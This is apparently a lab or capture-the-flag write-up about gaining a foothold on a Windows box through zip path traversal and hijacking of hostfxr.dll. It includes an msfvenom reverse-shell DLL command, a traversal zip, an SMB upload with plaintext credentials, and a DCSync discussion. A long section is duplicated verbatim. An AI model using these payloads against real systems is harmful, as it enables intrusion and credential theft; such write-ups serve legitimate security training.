Foothold via DLL hijacking

During the enumeration of SampleScanner.dll, the tester discovered that when SampleScanner.exe is running, it looks for .zip files within C:\samples\queue\. If any are found, it unzips the content and deletes the original .zip file.

#Code Analyzed with dnSpy
private static void Main(string[] args)
{
	string text = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EYCAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
	text.Replace("EYCAR", "EICAR");
	byte[] bytes = Encoding.ASCII.GetBytes(text);
	string[] files = Directory.GetFiles("C:\\samples\\queue\\", "*", SearchOption.AllDirectories);
	int i = 0;
	while (i < files.Length)
	{
		string text2 = files[i];
		if (text2.EndsWith(".zip"))
		{
			using (ZipArchive zipArchive = ZipFile.OpenRead(text2))
			{
				foreach (ZipArchiveEntry zipArchiveEntry in zipArchive.Entries)
				{
					string text3 = Path.Combine("C:\\samples\\queue\\", zipArchiveEntry.FullName);
					zipArchiveEntry.ExtractToFile(text3);
				}
				File.Delete(text2);
				goto IL_010E;
			}
			goto IL_00B8;
		}
		goto IL_00B8;
		IL_010E:
		i++;
		continue;
		IL_00B8:
		if (Program.PatternAt(File.ReadAllBytes(text2), bytes).Any<int>())
		{
			File.Copy(text2, text2.Replace("queue", "malicious"), true);
			File.Delete(text2);
			goto IL_010E;
		}
		File.Copy(text2, text2.Replace("queue", "benign"), true);
		File.Delete(text2);
		goto IL_010E;
	}
}

Additionally, the application attempts to load hostfxr.dll from the current directory. This behavior can be abused for DLL Hijacking.

Attack Path

A zip file containing a malicious hostfxr.dll named as ../app/hostfxr.dll.
Upload the zip file into queue directory.
When the application runs again it will try to load hostfxr.dll that subsequently send the reverse shell.

Crafting the malicious DLL

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.5.48 LPORT=1234 -f dll > hostfxr.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes

Abusing ZIP Path Traversal

Double Checking for the name:

❯ unzip -l hostfxr.zip
Archive:  hostfxr.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     9216  2025-04-09 08:41   ../app/hostfxr.dll
---------                     -------
     9216                     1 file

Uploading the file

❯ smbclient '\\bruno.vl\queue' -U "svc_net%Sunshine1"
smb: \> put hostfxr.zip
putting file hostfxr.zip as \hostfxr.zip (18.2 kb/s) (average 18.2 kb/s)

Trying to perform DCSync attack using mimikatz

I tried to perform a DCSync attack within Windows using Mimikatz, but it didn’t work, even though the tickets were valid. On Windows, UAC (User Account Control) filters admin privileges for network operations (e.g., SMB, LDAP), causing Access Denied and Mimikatz failed because SeDebugPrivilege wasn’t enabled due to insufficient local privileges or restrictions. Additionally, tickets injected into the session via /ptt are subject to UAC and local ACLs, limiting their use. Then I decided to move to my Linux machine and perform the DCSync attack using Impacket. In Linux, it worked because Impacket uses the .ccache ticket directly against the DC, bypassing UAC and local privilege issues, and applies the ticket’s permissions cleanly over the network without session constraints.

Additionally, the application attempts to load hostfxr.dll from the current directory. This behavior can be abused for DLL Hijacking.

Attack Path

A zip file containing a malicious hostfxr.dll named as ../app/hostfxr.dll.
Upload the zip file into queue directory.
When the application runs again it will try to load hostfxr.dll that subsequently send the reverse shell.

Crafting the malicious DLL

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.5.48 LPORT=1234 -f dll > hostfxr.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes

Abusing ZIP Path Traversal

- Alternative: python2.7 evilarc.py -p ../app hostfxr.dll -d 0

Double Checking for the name:

❯ unzip -l hostfxr.zip
Archive:  hostfxr.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     9216  2025-04-09 08:41   ../app/hostfxr.dll
---------                     -------
     9216                     1 file

Uploading the file

❯ smbclient '\\bruno.vl\queue' -U "svc_net%Sunshine1"
smb: \> put hostfxr.zip
putting file hostfxr.zip as \hostfxr.zip (18.2 kb/s) (average 18.2 kb/s)
